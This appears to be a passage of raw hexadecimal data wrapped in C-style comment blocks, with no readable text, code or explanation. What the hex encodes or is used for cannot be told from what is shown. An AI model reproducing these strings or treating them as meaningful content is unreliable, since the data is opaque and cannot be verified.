178f32353de1925d9faebef623e8d811f9aa7b84e825460473455705182b7472d4179938b960ac9c5dbcc43cfa176b064e1813fe3a28445e01ef422f01f124d3155c1a3d437edfd429cc4858263962153f38f24a45ce5e0cba7f8d6d6c98e446014a2ddc56303a0bf8c2a5b4cd7ea426c24f35c0744c7f5947c7cf7426a4a34daf7ca5f9f91679a16a5a17df8b6eed20966b8826ea772ebf8d1cb19fd3c53d14921c99657a0873d0745a90501dcbb8528d9c8883c5e34e0cf1a55f53672c3c11b49e6a1ab0cfcee9b3c631f64b8f37392713ecd24aee99d6bce11aae7b1fc9d82f6ecc7fbf5846f6eacb62fdbe2679cec74fbbf13cf4e20d4f1fd7f51b69efdb683688eb8cf99d32c444129a3b158aca2d62b51ecbea9b7304ec4653049b4b73f625b5b356babad766839beb53345ecccee61c07906b56628e8c2ec125e95c97ea07366c2e73561841733714790024f938382907aa2deb043e5d6bd250722b6e8cb1ada9a6d4d5c32a7700fb2a70a5b37f195a0d44173c753f15e993c45a0c3130c96af78ec97102e655dd56c44100cf8bc40329d9f7e44698ad2317898a9e16322b56e809c1ca5a9764820acc134edb17b71816fa876ee633c16384cd926801833ae9cd66460583b26600fa0c8956128e4126aed986d20c572de54475d5f6edf45add284dc90f417da51f42815fce205f8d66276e343b3047630c465df776f775d9eae7ae2b574ea66286fc12e62350626e5155f1d10f67993c9d55a132a51f719786ffa537b894e3842119b6c68b33586f0c5bc3e8b31d3b55bb8d5c4fedb42f9e305b11b162edb5f4e177b20e006d64e28b981ef81bab053652e97d9c230901a3e41cfe04f00fad5392fbd7c9c8652e0e639386005f922c1f4c21ca86a8760a65b7a6a0c31d08824b25d9687efd62c0877786ad35d697f280ee4f0ff38788daa5e5d7faad494265e65a0ee9a23247f062050bffa2c2e91ec50d2ccc75832a41dddb9a0b69d6558f39c00402d3d04f120de0a29d8f0f93f730f8c04dfe96b2131f674ae2b6ccb02889bdaacc57c79756cebcef1f491afc59043c405f2d771d688eabfe10f24b42fa09545b025acfec15182a7719485ebcc275d51f10721cdea2e35646082316895b75b25d6950cd4c5e0a63354292b1e63f50abbd1059059a6e964054672fc551bfa9c95e0038679d38403afd29312e25fbae9c71f3850cdaedd06eae9a1a470618180fd7161ac6cbf9ceee98f6e6ad0865e59d1eb9260fb41bb7255e8f0ddc37dc5410070bad63a837f31ed2aa103418575fc7f458df3ea456c47595e0f126099f56a922c4de20f7e6655241747a474b89c26d1de6021fadb2925b320063c2fd02b2e8d1a2d44aee6ef9c42b00d3902bd6eb77f2bf12e2dfefc147bc6889ea788f9a2719da2d94fa0065b0f4ed96e17c10e2fec05ad5145491485e29bdc599b19f265c58162d4839921e138d26b94f2d56b0ef0b8b391ff5a4ea47df549d526f04bfe3434e9b7613531e197f9645d4f55cda962de5e9d2bb7019207bee3d123fffd67761d61db411214c93eb9e26933ad1aef1c3a99027751d9c96e5b3f7c065818b787d18a43c610f09a667e354a0fd686605ce3371881335a38f7ba024d345489468c089cfa8789e656a595535e84e817e9c499353e6dad1311745424c7e04cf40de56234976527aa8258bc6afc6770035efebc4822d38d7520a7883f14543b58a1a048eab335d59cda46acccef39691f3*/
/*f45dd731a2877431224306be9b4e9df30645b97b04554d1c6c13655e670b1ac84bde6d8927a97885c9474456f666e2c6f830e5e0070e7526f5a8fec76c75d47d9f6da87ef45bdfde044ffc8e0e09a2ecb2a26f36045b36fbd5df9609b6b89214df8b4493aa47871010e7f68f41ff276d008426a7c2bfd79233bcd487870b7f105780869fdc72daddb2d1bd9534472cbb071866446bb7dfc37270a95895e41137b94abe6ecab53f127cf8c70ca930cb2d440d2dae7e91a3c0775b98e2c518a190bdd4ebfe8eda483dcc5e8be440c9aef33d2376242add922886ee7dc64d553966d97ac8c98b6b195938f158216cbebe9413790fd3b719cfb44f9480332c7c32690725c9156a164820e08fa4d9fa827b396b978eea1cfdce8b58b0fa86748f034fe4f7157a3956cb73741425be06ae054dd803e1526345e81870e90092bd7ed2ab699270e1e39cd4b59f2cad22e4661d47aef0308b1bd5293413c171fd288137c05580a51750386af3a73b8574a6f08fc1e6db9b994a046b6c999e9cd7790a84d95aa2365bbdb266b6dc2c008a1d25c8c50eac26c871213f87bbc728ed285ce5a04f6814e69abe56f38291cefa5e5b189b60976268e0306afbecef920bfcd52853aa8f09e3972793b4d6c7625736adf55487b9fc10468b13748e26117b49bf1a683a55b4dfd30d23b678a6dd3f47500e364f642faadde35b6d736771216e41dc64874af62e5067617d8b1ec2b0c9d9577aa6926e248a64fe72db3729c17969d8dd273480ab25141f1e41579ee47a28f4272cdf920bb5f996fdc6edd500665cc966a88578e000e5760d63ff8be652617be6f2a13f54714cecc7e45997c3a36a65ce8efb161bedcb6eecf10a263dd7bdf28e0443d6c2cd66b608e7460fd1c8da1bdb40db56e9db506426c51899e78c4753d1cdbd2b4d00fedfed360ec1dd2f105d6a535ebd29aee56eca5f060450e3ab60d9976bba666d274491324c9ce2f45427b91727e38b2262667119c43e6689c183ab771348ca7ff9bd605f9aba5c1aae60599bd5d4e928b37608e66768a6498d738a658f65f5d97ead2c9d471e8973d8f0dfd0bfb76de704701574a87b03a2e34592ed771edfee0cf33baed6ef94bde74d884b1e8e0232e8ac1dc0b173c09c19ad300b78f96855232e9cde4818f8e66c64c8509a5aa22d3d033e7363ff818af9e0ef0aa3c97a235ef2f60e1df9c750aded955ee17d801f244d91ba555d5daa94e680671977931da8c0a2ff213e7451ac2c3620806036191f4f0a6ba97cf9c1b69a47fcbac11e12d7aeb0c49184d9b1e764f39c6da1ee7196aa895a2e8dd9f5bb64411df1056f3212f15a1d743cea023a8b9691eeec955711c70b901d9aa18d6c97ebcb25c8bff414032ce64fb1f87c471fa8855d90f3bc82465afc0f93cc009395be6b0c7ed80bc8b7559c9001ec2369f5a83965dfc23b4d6881031583634a2ce2e0ae743953d629da99e2c674f7dbefc40ef0c4330e7e588e8ceb627e0ba3d9e40b1b8e5b24e170cca0815585ee86f1c4c5cd07eba35ccbec49081a1705f443c353f7b2e429d8465944f66ad2981e818b050aa38d74532d356af3f6578a23befea2aaccfd9ea4b4a3121d8ce4c03161ae4dc6e44052de46d25e8a4221f6d263098b006d4e2011b664e6e3830bbc8428dd3993f5a773d4a69416fd4c7c77c6b2b709dcdd82d2516dcb9970590762e6d92932eaadd8eeed6dcd7045038cf222f605d3e41bf61afc5629f350d4f65b92790636d4c182be461b2f2bc7fbbf6669e60af4f40fa8537a1f115dd66c381b32b0dfc0a356cfb1e2300f58f7ee2cd088c9982c6b670cbb335ae876453a2e1258721e70c6c78e2e8de4d7c1f30a4d54f17d5bf9f6cc11892d2b2b609a323d63dcc909adab88cedc31b27d8bf94f780b440dc2e2ffd29df158dc032182eeea2fa8ef7138de86edf71f318e9f6733add20f8dcc61eb849530f4cc5a8fdd52e8bc39140381ca1646bad754d2f4780bd0cecb23d21571f1cae9831c9990c18d9a6371bcb70a30aaf160cd51c429942cd6ad6bfe2c8ab28b2853ead4e67c8efd8896d7d657bcb4c7d07a568cb8989c1a0d96879fedbd4ca825ee7bc756348ee2935f0d31020647bc9ad2eeb8568fba383ff018fe228c7db42b46665bbcdf4c92c4ca444b3075417d5fb0e8919bdc4f2aea6af36aaf1b09ce30bbedd6fa1c36744d53d8c660a28db085ae9c9742f5e32240445e7e7bb2e97a1b5d04bb65dbe313a9876f6931a6bdae0ff5deeb05ea76a062bb85e72fba47a843fffeda2c2df148a376662b2c8afdfdb200e26bab3a6ab97b3342bb25977c7dbc151abb5851a96ac37a6147bf3d6ec2c3e300331da67df55c41d19bfefa807b143a3a95988451a25807d539548332d044268b76281158f35b1bd8bc77fced14ae7af880180b80fdb88fe99ae94e757a3412783b0fb30a3a2c813f685048d3eb73868e4905974e764ebd63f5297613d9b8aef997133dcc3bf7a5a2201e7844062879b0021d9faf0f222bf45606966cd3a4ad8201bdb10e74f5886d6c4c4b044008120a69a2d22aecb267cea9b0ef0ffa4466fb53374be25c498b4717048c9c4ce955c0cbd26ed6caf8f2061574665b285cac1148771eaeddedae9119b82b06a76b7cabe7d1ec7f1018708ff0c0737a5318d59ed7fca85861e19a14dcd12ca244988e1e25e619516c2b20f2195b3fa56892bee48697f254d67f0e5e768c401ab2ed0593e58b1be04114894ad1862d1c31b6a13c9fb4d214dfd979b461f27a27ed7bb12261670fd4420615dc0ee0668e108fad02519947ef5bffeefdfc3bfb*/
/*538b06ddb9ea9e9e948a148b32558524f6b4b490ce25bbb06fcfca69fa53500283f8651f3bc9f042eb129ad93f91863dbec02bb8e5fe9c061df95b0087481e4bfc1a28d2ad913df06b003756272202134b4b895f38d81e27302095d8b8fb9609da106bcdb0996d1387fe5be22ec925b21081c7fa6eebba257aa0c5d099e7a0227358b9227bf7d7b5fd59be4050653eff8481db709f0d84d8694dbfafeef310b6a3a180e9f946cfaf1cd0719321f9304c07193476fa8d5baf2f83f4d0880e44447a3db3cf306c2d510c7fce9110dcb1d41cfa85b975bc3a8e820ccc7cb2315eb74af8b0a96add223faa11d69244f57300a8181e79caef823483c6ace87c1045e6e0d623f4d793a0704c8a6b66a79220f9c08b1574e76df2331b03202e4a7ce7d289730d38fe0aa1c47ee9738cc0edb9026965d76fad5c3dd12f3a324b827d49e2f7b2b16e159a3053987877a33fdd305ffe46f886454369d30eed543ae3cdb91297825c979420af07a5f2cbb9f271cf4d2e3463b99a0ebd70bb8fdb24e809b90d18295b3737e553c82354de1f035ea1ac47ed454a2daa9cd1b25811a545ab6b01d2921c07d1684f725b7a71f00b128071fd7436810afcf34ae4d7e2e170a3d7b50c0d69a0afc16e75423846a1787a1be8bc1d3db50207b202db8f6a442a91502893bb5267c982c8decc65bb799ab70f8ce3ab5ecaf3d89203448d6307422049d1a02749ea4a800f487d4d6e6535cd158a67f62d9dc82d330dee0df9b377d309de8388300bf0db41710a6e186da3ceb9fa75cd08ee7950b3b388ad03ecac47e57e6d016889e91228d16cbc3b68862c3cadc7c10fa94995bc61a284846b4b3c803369391bd91c39c9227c98a6481b8c97bb2ec172b0f5a60de41e0061fb61a1f80949509cae08b21fd5f4daa4b80474aedb6a68b8c9bf64310c9f6f6f0717acbd61efe07a82c172e6a1381fe1786dcf9fe76a0c4fea9c4449214e17525caa4f376bd457dcd1eb493c4fcb1bb49e0b7456883f3678570732e0a38ba38b80c09f8a6979cf9ca4f26f41fd356431ec9acbad6e11eade07bef90af889b58ce53ab2cab56e89d96bb90ca19e9a3a173103962ab949db139446adb747377868841d114845371dd4f8281b49826604843ba6195eb510182da7544ed4172fe27320ee8633d8209759c4f2734910233efe8bb85dc8f17cd260899e866745a513830480a61acf8554f98657d2c49310ed9081e23fab38c0589b2c09427f8437af06a96b1d86eb7d0ce782fd81b9b267b99a9101d5f6a1ee8e95811fca00684f7d6b8b30a2ba392ba46db1f83efecdab30f24991fa847b3699b7f8696becc152e2df1da496528cbc301024abbfcbcd60ce791ee7e7e2f830ad85315465840a226065f15ba35551b3df8bfbd90be7d5aa95e166ce536f43d8477b39f0f712d6ef7a3f622f0b68a114eba1c91bf0a156e16cc687558b6093bb2f4f8e63035eeb9b951e3c49e18d1cbdfc9a959e1961927a032dfbf12d01e763cdd142752433a114d9872296e6b19252c492e5e0f3c3af9122bc7975813cba1617bc63aa4395f274b44dab61de28060e77746bdf130768d046193d405094d9b2bad17203262f5c7549371b3be661f7204f9c596e310e5882c6b7fb92bc99491ec5b2d0900b3dbb0e33a4a924fd105db76edc1cb3c7b84a8b0bb54a4032d6582c955d231be6ba408a4c0d56c82ae91fa962be6f89e7191d9b9cc69bdcac6fb01635b772f813feaae5398fcf3f7ba12a7bacf3c805b1b75cca1b65bb8ebf25ed19f0d268d45e215f681265d51f0fdecaea2cc3ab8f91b75313aa4f43ad9d9cf6b14a56db868cfe9bc12378d9a2781b0a00eb8219e9c630470357fc580da7c6daeee86781019ab529432a7b2485d16cc747b085c2330986abe56c57632ba226b344bca97fdd47724a4f1b86157e0eb1e4fd0d6355961c28d81f9daac6aca8d9a5a4ad488a6c3c5d88e7100417e19a9b22892f27f073147ccb65df50bc9a25326a30f5a88fde8c134f09e73847a5deba4dd0b86b155104d8c51d284197a7a84cc309ec02c6863b04351f4c9dad550f0b8a0dcece072b211d3b2921fd8d4f2ac6e9cf820638b51c07e06ce25f11e5eda194473e3ad2212ccdddb2d89056a89c1edf7dd93e6e729bf9a2877482840953208a434dc0911832bb304087b51239d0d78f84f79185f9ec1ccaa916c3285eb89bdca16b62094a0b026f9b2c48c40a1af13f11f25e5ab3596b65ed6d4f0886dad1c9ec3c718cfed2e58f6531eb01bf6a8d9d18cf162154e5ed631116031f915c07020aec075f2b63a7c0de7b0a4083bdcae95a71960fa8e6a204512057c4d3999df14c0e8d4b1f289edb185f8ced46da4554ac6e48609cc41ca8d1188f24b88d94a5cebb06b12643193117798b31f3b0e3d2d88cf05165cb67cbde20c0a9dcc5be391876ee4e700bf4b0f7e5a163f24f5ddac27cfbd7263c857e71bdc40a07d39096d009eb6cab58c34de6ff9cc67cd2d1a4bffe83c2994de07a566ff023a0623bbeec2dc06d4866e4eaef3bb4bb6bf33426894c060839d0c5eb3347b60a646174a4fecadbf8f979523a4ad0187e79201e0eb3a8c754a5b7647e1e750eb5a210447ddef8b630d7e795b7b750bd5ce63c275fe37285339b437f36047a2be8494e6d433a1006c916be2c8c584a1f3d9db829f91cda7ddcd97c4b6dde8c9886a51bff9c84f43a0c05663b947f698e6975d61edf5fca80435c93ff03ba89c7f4479a8ae82d9aed2a191017a65d0b724ccc09c04acae5d7ead9bf0beef85dfa2312dcd24daf54b12e73039d9ff9fc0d2f1ce8f302*/
/*d94d860506f0c51abda9b48224fd3e97340753eca3fb8b86e5a4598403ddef35f94af46f4c23cc921db55c47a7c29e94815c91f480069be6862c8fa109b5b8bfeddddc12572444b33beeb5c62beb0f0432166de36127286b29d1c33cc260330cc7f328f3d5c84d298481400a8e65776ac9b598d9db336912f2e21752d95848b45f97bf55010f377d3200d1eb607fbf06a9632fb18ad2b9b330d68a1d9a9e6b92462570a3c76fc2566fa3c7f344c0e2234ab14bb765b4fbb7b3980b550403648d05638e2bf3dee2fc827ffb81c667473cf104f9279194e6bc9f027b6114bc71a270b412ccffa0a0f117ca9a81c4f1d94b59f4aee0946625fc1556516a77d21595a7f8d2eb5f410a81224e19d33d1a03623255bbfeed29b308048a754dc86a66ede4dcd149d95a62906984b7a893634dc730fc53e7bdefb9ed3046bab114bdd1c86f4530f02da55babee33261ba95e9c43a03e759efae4a1c268543e133e770fc9c0d279ac83af6fa14ce0bd7ee6713e80ae3b745ca39f23bcfec92b3a48fd010b8e696af9132dacaff4dda39df51c441b617e86106a8c83289f584cf61e728bd1240ea5f6e580335708a7d603b38fa3439a44ff15af5fb93456f49bb3cec4d02a08d7897498778c2b1e887849172bc4c07c1306d1e61023d1a39128bd11c96d3242eafa051181c2cd2bdbefe67d320610c81d01cb352e829578a5a0981e568e2f567f21e2d03941202171eb039800dd4a140af3f13fdcb07ca529affb01cce5548e916dc25fd184ca2182450d787e46c8d12ffadbf229eaa6a204fa1afb14ff62dafcd3765a9d7c056f1439b4f87e216ffc3bf3020dd96fab80f21db160081ee7577463445811882dfa79312effcb588bf811055b0edb5c66e2b32ed51bd0b417925103a5252cdfd01f0effd3afbf5ec6d2b8ad007206b5093305c6fd0982494ce46ca48f63c7e9f8c2d467baef49dc8140d8ea206330432d5f762905871ddbdecbab77368a0626e372276ac4b50e2e29918d39ae8b0be934e91e63384508367d15219d10bb1723dff7a43250cd963d3abd6f9c66fc1fcf4019a8d568c38974e8afd55ddfc9d9f6a71d266604d20f5e82ec037291a9cdc1aa8216ce190a89d8f0b83812a6efbbce2b708b59fa887206748b27a1de4701f8dbf5ec2f2885f5685de87da454d63db0601fd1aff34a864e0d6f4740e34babca4765bce4f5f641ebb8f71d8fb1b49173c6bfa1d2098a36b56763bafa74d95d599ae1d56b60f34237a941570de2c402842b66568b133d9031634336cb47a04ee6481e969d335f4a8c646161bfc0b34c60c99ed68fccf26e06cc899b26b1a4c9672848598aea83e4e69fa999890a4f95ce72c065ee2816105174111dd4263d3b54b872011938b91d445e2f2b8c996e97709af5fd44898fbc1536e7c8f9dbbffd388155ab2b4a646f36d2abba18521ae4b90a979a4ab55aa73235ac61382e3c6545f3764273e16d7c3556f6eea74a2fb634eafcc8e464239930e34768e87a53fc9937a76e978002363996a17e84e938cf5e0e7704481692cc3fc1e8f73acca4c6ccd511aeca86ad3c3a6c7e461bf5a2b5c239d06a1241eb4134a7707fadae3df3f1d28ebe10e7c0c5cbd0e03e2d7337c77d7c3ae01cd4cb599c2ef59e0f40f0a7cb50e03917576f0cb984af865a3d2105abae14bf6890813a6ab7d475bf731678c53186b9bc913ce99a18f020441c337d5cc5275c4d766bfb13251701fa95e25f2ca335610dfd5d5ef8dcb1324be0ea536ad6cf0ab38161372071807c8227aba385daebb6e79f35a66d4d914a77c46d4d8b413e392ceb2873fb8300ae94b14b264458fa05648cf9c98ae359f16b8846ebb5b0125aacd1a3517c9a3f2f508c12847564aa9de6bda3217f5932efebb085e1d3948695aa156f70d046eda25a1774a37aa5233400b34899edc78d607a7ea5d2aa10e535bb06eee5aae1dd7740d48595b194fd25d3a544a977b7474570cf0f3f77ef09d10913d4fc07a1521a14acfd15eabceb5c484060015f63690fa57260eec6d87f491fbc6fe75fc9ab282415f1730304e1b598c34a6001dd0780d461c8229e7bcf9489cef9bff3a3557231d890ddf32cd20b3f031e288337e099876adbf70730416e823a5c2470c34042f2fb456757118923108d10b867cef0609b54ae0e7b4f05481bcb5587ded808fd0f0d48e2c0ecd8b57a7e1bb3b49e038b7fa3c0e98c25c685e16ce21c0b9905fce1f789acc8170216684b793a466640896649475c53436bda361a4d7f4f2a5c58291464a34e41f9b318d2215572869f6989b4ec885c6d7c5ee2262be1f1747c8647d158dceffbb02d3d824081d3a2a266a540a0716f1d34a948519cb5c0a8a55c01cc3d1a88fe4c5b1c0c56032ec5a25ed5dcb6f4fffb09a7869c9022d76409040a5042c05e915937047dc8e82ba68fea0f139168da5a99b9cca591754d6c099e2738158823b6b876fb7e81ce27dee670fb9021251d5fa9aa087c5fc2ad8f33b1c1eae564f1d7b8eb51733752463458fdc7dc418ab0a5a0426be015ee886dead3fbe09c130e2c654060e0d3e972a602933623e621671eedc37425570a5108bc3a293796b57c4e27c62bc53f19e72aac0e34f75a9ace6d3f0fb9f0baa7dd38ecc66feba96bd106c86df548304d6d6042d2ef5759d55ab3a5ccd785660bc74ad30e3c9913270e700ca5bba8da314b5bdeb39e85a4313871a229e9281cadb2669b854815467234b7fcaafcca2becb25b2a2e01a436631b88cdc0558f17ff07b6cef0e66e0fae8fa343fbdfa8beab3637882321ccfd3d6618e240abb396855508*/
/*e3ff5973b92f952274a1d6f37b7ccda7d45d43edf7b60192a99e1397b5fa845e23845ac3852ec28af079923505e40ec6167f1f587a7c08c503243673260d76245e1233951c90ad57bb123e668d8ab6d73b45c517f32cd77d97bcce4b0fe86529a4181bd6dfeabec6d2f8a78903e0c0df78e557d09e23fcc117a16ea3ca54dbba1aab9755dd7ea73bb761d518e9e95afdbff41a87f4eeeadad822b6722a3be0df4504e61b0e9bf2ba6bf1484a5e57d9088b7e545400b2c4bb4c4cc5cdc7caa943218ec5aa536c1d7b56a5a06149009cf625a5e6fed793686542a6f7a63198549d7a8f4da3fa0de470d70060cdd09068dc5c2dd7979b0115fa402675827c2ecc2a0999ad52cadc67cca0a7eff45e824947d1d55407a68302962595bd1983c3fc999d895f17d44c9b11995c32ca63ee7fc1d8b31b20e8d77bcf18c7abc497ff44a6f5272d96ea71a8a007a2607e9519fc8e31529b9ed7264dcd3befa4dfd5ef0a7f2a17290444c48092c91f92e9467ee2be1fc3931fcf88973072cda66d8235c7336eac767247cdde69ce56aaff35414dffa53d93139820dc7efe1f324576737739e4854b8f1438553bdffe43daf1a0cee83c91d106cd42b4e0accaa8d9e2d90b05722e468df70ca739baff9d61015d3ab72353dc3e33f7230ab7f2e30faa18aa1fa61af5cb0095de8684b7674992bcc9c0f3ec4540b25eb1b2fe83d81cd83affb0c603e7deddc9f0157ae7b08f6da986e3d15dca9c7e9a7aa9ce09319c97c23f7fcbd3d9d3fdd27be2a528e58df0c17ec0895c52f1dc72b0df3b43ffc473f521d3609772a6fe9174397237bee50356b32edae597b5dab0e6dafc592e3a6863e0ef8bb1ee80f18905ed936bf835d4cc4fdea67eb879e71ab5dc394fb52bf93fe72131f5da5496d71a8f2bf685cc61fc7ae322128de73e4bdfcc0fea243e3b71ef9bdcdda076c4859cc821f863bac046080f463b96f293d93eecd5a80acf59bd90afe41674ae9977ac04591036f661f0ea7ab3c687573dde62dde9b56fb1c5b0dd0f82c31d4164b50feab8b86cd3d121c3b85ac966c29c9bbd1f4ed7f01ef792776573e9d5ac4fb19f34c572f119169479efd958170b3fb0d707397b54424be61220bad9c003fa077efc9e5e98749208813aa8b08d57aa9f495aba522b891f6ad066a4d4401def2f2e68900185494e2c168692ecdeb0583ed7b9953240e5a22fc4428093160b63c29c664e5aa027444c830b52783181b190e3ee0e41160c12142317fe4d791479d041056dcf81fa72ce35261e11531440750ec1f849a30797eb1ccbac1174c5305aa150416c70397dbeddc4fd444fca168326d080874bc64ba56058e36f6a3c639a66149023dab247a982b1535492a462b38fd319f86694e1721a6d1190c9e9ff3470c3b34e3b4b871212f89560c6325c9ea7175b4857f59579b92e698beb7455b05517f39904974bc7f4880545e33508d02367d6aff063aa3cb99d5c751f790c805213f5d5774a60a32b4c2d7b22ff8bf676383422312c7fb465206ca62555c342abccd866e1e8614281907a5e21450cbe603865b510376812315ed6d0fdb918c39a7661f94b40c983177d0955d440e05de0dee71a9411d1af811793a0e9ead7c231dd219ceb63326975eec53063c32c862bf24d6f9a952df5652d51d267d44964629589ba63c02a0137ed498e49cdf66b50d980c5a934f9f153cf792dfa8cf8aa491ad4d3982ee9040428f8b015f10469b71c3fe8bf9410fc42014187f7d131b8708b9ad99bf3033d5b8578b8d17382dc227de9efc9a48663d8c07ced065afbde64d6ff171fdc57be6e056d32f98f578762cc34a916cf226ee9af152f1b3d19a58cef1c6521ccffc67d5ae3a610a3b65d43327a0a7041291defbbadd288c8bd567e03853961e9983254864e00f121d8f60b5f0681226149010f17954486de66312f70e8da770be154e6ead0a890c3c3dc6a67aeb63a37afa9c56bfbe3e5eb1950199b2fab5517c7301f182dfa3c82d6fc9f2115d9ab9de0023cee5ea7d2c8921707914a91a85c7d92e567895cca9d44d7dd658f7c832e2e45bf187349ff42e9e2adb4e973fe84c6b314b25f320776a0165ef3a6c577be18f94e9878e6601b6dd9b0fc3d50159f0b17867ecdaaf835e34aecf4edd8e52edc825e64871ea23a7aebe32a820c606d56ccaf9a1d2bf2742bea6355536f3233792a45faf9413c9d99310328b6d2fd2af6a2571c10661aeb1f0c0b01dd717bad68af8be3e77b4e84aefa05a3f16e088c4ff647e50c52ca59e9bf85f112ccbcb25484b4ea248380278cf8a3297a88f984fa916c30a7bd51dbf8f14c4a00677976b7ce3848aafd09b9905fa90b3c7a9e3fdb28318ad55154b9ad4cbf2687a03cbefa6ac2b8cc08651fac4eff19da67dea0f814a981a823d9c86af771a15fdd8238d52b0f31071cbc126517d109915ff73e7341fd90e630f23e8890ab79b6b6767ce338735e9e376833f9e761cd72a8182a8bcf76c4b85b2b9c88640dcf225c4ef77fa2a6aeba0abc380c949055dd00e1c607b75b1ecdbdb801c57459fa7a22df83679b1f60cafc721f0cfb2ef738935fd09a636f7645098940400a86116e3aedcdac008d7b965431d230d1052078f1db03780c47bbd8dbf9e7a90acf5b32854fb400ff8e819fa5320fc89bc508b312f0522f8dccd82a49115f0513602acea3a2c8c7d3ef233833ea64b6a29f2a2deba8bd78fe490b6baf0161fb56686b317ed5af334334f9f6b9757f12af6ee858e5e4f9d8c7192b6403011a7e6c26f720f435373b86814e6eb38d486bd4ff05b9e9bc7dc2ac87a4*/
/*b0af1a05bb9cf93295ad848bf4acdffedee566e3629cc611e1d7d459cc742647363405d784f7f4a4b3a7b049330c5aed88cd3b6d59b67cea159745798d2d1123db1206976ac77591affe7b07545cd3d5c4cb4c3f148c02d5f64b60acb7b55304b507b50f9491a672813ac04b5925f08a31a242c75050d4815e78e4077ec7c9fcd48de69c4d96ce66d7deeac5b45edb9048f9eba33957fa9c7851ad1be1064419f1ee7384e5e06acad484c3ceb11869b8bd3dba13cb6e399e6d5e294aebe994cf22ad5475b422e107c169943940bcce2abc7d57dc87bf1a3576566144682950e90fe938d4d936da10cabcf61adb34515dcebaf257c388a2e0d59ac0395886548af04efc3cffa59daa0919ad5f20246e10f77ae1f5f3404a33ab0a94d020d50f33d52500c154846b683806623248b0d050f1feaca3ae9c2a63dcb7fdbd287422306fd688deacc81f552868a434ef304b29e1d1fbb96e0ceb70c765caa41038b068e3405c7c9d0b2712e04f84220888b8dd6009fff74487dad118545f640e7b40230fb98d55789627df3c5e3a9763b644a87c7abae0d70ee4177fd3fab3542f3b0ff7db5cb497a1bcc456bcaa7006a9db9ca1ce16b32443a5b252b571791441a9864efb82b5ed85f6a5f802ec407702c9e70bd6e54e1cf6785c075d3fea4a36316e843348f50b07226552cc68d346391901b4ed6b74925ad32cac7ef65b0e9ea9ab3b4718fb3876da9a8dd5489267eff0af8573e412abf338d48bbee43ec7d1cc7aea70703d264edbecce3c7e02ce1d4261f4ce8bab5edcb4205cbe8ab1f16fb3a4f3483a3cf45929d11b0c39c5fb5668f445ee2b6f7b02cf5ecb14de7d2afba99d9410874864acfb573583ec44cf250b3cd33fe3b8e60c0f3e32ce60962c4b676a46873235823dde18a591ce71e7d4607fe1b0f7300a709584e915c57234ec13cc7e300ac2da7de813ba90a473e6f6757586b56ad9822b4cb7f52129edcf816a18642c456a7581a3f281d5ec71eb81ccc0b02377670338f5f665db8006fbc3b44e650fb08cbd1942f436aec7cb964c774251ec0be90a91f4f7f6e9e441411b2b4d35d10f324fccb17d1563ffaed456b9cf6f044248ae7a35b3cdddcbbc745a03254d0ebaf06a0a60a320200cdaa1f1adc06b64dd7e9ec7fb79e61ea93a3d6f4e6ee03b88a505f6053b93fad2df514fdba6b92a7a90c787edb9e85799e34152abda9b8cf18acf495af30baead4b68e86f6e52103c6f5e9137e30f6c3d26f31b63bbb57cbbf87f3054c2a44c1f7edb4468846f5f253950d52d641100c328c295e088d909147a80db7fe7a91324e2f57a1c9bd20849b8efb5e338c89127cf2ab2c9b1dba28142fad0760685782c5cc8f84e02288af442429b567312494817d40c526fd662a5dfe700ed6aad8cb24cf268ff131e47f6592f307c51819832826717eabd2b68b5e87f918d06aad705d3bb7e421ddd7337021a00358088e088fdec38f3e8a868b6b6c78fbfe4a0f235bc005ffbb56807add5961bc69b240fd06aea42495b2452b333f9b4ea4061b438aa0b4e2a77ce4468f29ad524ef802b9aaa8f88392ad6b59052583993430f5d3eeb3c0af52fc2393010ec01c39002d1e3602a051f025295441bb24aa1ea8e6b781b619f846e43c8cbef04c497d1d79443acb03b905b21256cc55f8db87408cd6baa3cf973324181dc1b14ec948d07e883def5a7e47a75f94be8e1c0a779bc8953edd78857a70b420ee125499409f648d0b888f2141cc7d26846bda5fd3d36417293bcc12d4ef7e64bca99108ccc760b71b6478035c9b888bddbbb1df865bf52c1e33e70164b79953bc3ecc0c0be6678a168901691d66a2f314649d17e8f52ee4a2f758c19990faed3b411439886bd5b8b83fa39ee0f524fad8b85e2a2f3af3b8ecd166cced0c38acc053ddfd31ac77bf165691eb3ec6b7e5480d2a56df39f0b36b040d1e7f2ae75df29589e761d43a7650b8eb935c2a03dc49302dfcc87a9e8afc4cd619d645361c2e5dad317526b1a5f97d8854a87887fc8e0c45efc08a5a4319a8a1ea91882e2afbfffd454c0b261d7765eebc4807f85b9f750afc5654565fbb5ae1ece4a71d766ff92a9be4217fce0526297bb1eccd7ebb2472ed3b332c873e51b1df8016d46d89b58e46e21bc5bba53e5aa62b25f28cabb02c84902f434c65df7d22407fa89535773b14152a3b06e2dc5b884f17d52913149895791670b959853de1c716724ae8da6872d9b3e8f92a93c7ea359d4fee0349dbb994c9d3eab7eca4387d503cc8c9f42aeae49dcd4038b7a686dd18a5761d5052e5009a9c1fba246f84e7237a9b409071c235a9d00e178486058cdf6ae3b8c0de834272c21858e2464f33a7a0797e30db3e4159d6795ffa572f0c05b97dbd64c44985a18e48441ef44fede6e002ddae76aa20e6f83610fd12927eab28da1b052938a4b760b5987a44698250a3e51efdab26cea07a044e76789b17194cb159cbe511bf6065bcd993980dc1c5638c121a3361fcd0d35ab5d5ee70cfd973c3df1de92b6788146b23671f01b01c52ac154250e250085fcb34fc2d35dddc9bb0fdd723101c8d47d01e6a156fc4da81019c949509b9e6c27eb7ad8e4cd7498222d126bb3c85786452064b9c4348acc47ace9cf1efde940071eb68edee3d35287175a93a861932334cdb2d0ab5965a55b89ebcc6948ef5b5a69231c1a9cbb73193e8a1e96512ccb8ad4d6be3dec3c27d273c3c6bdba2173e34685fefff182701ddd6965124bed044f7057d648db25d5f6d94ae3415801730cdc6e2bbb608aa7f38a213c4df4f8c50e473732fde41f*/
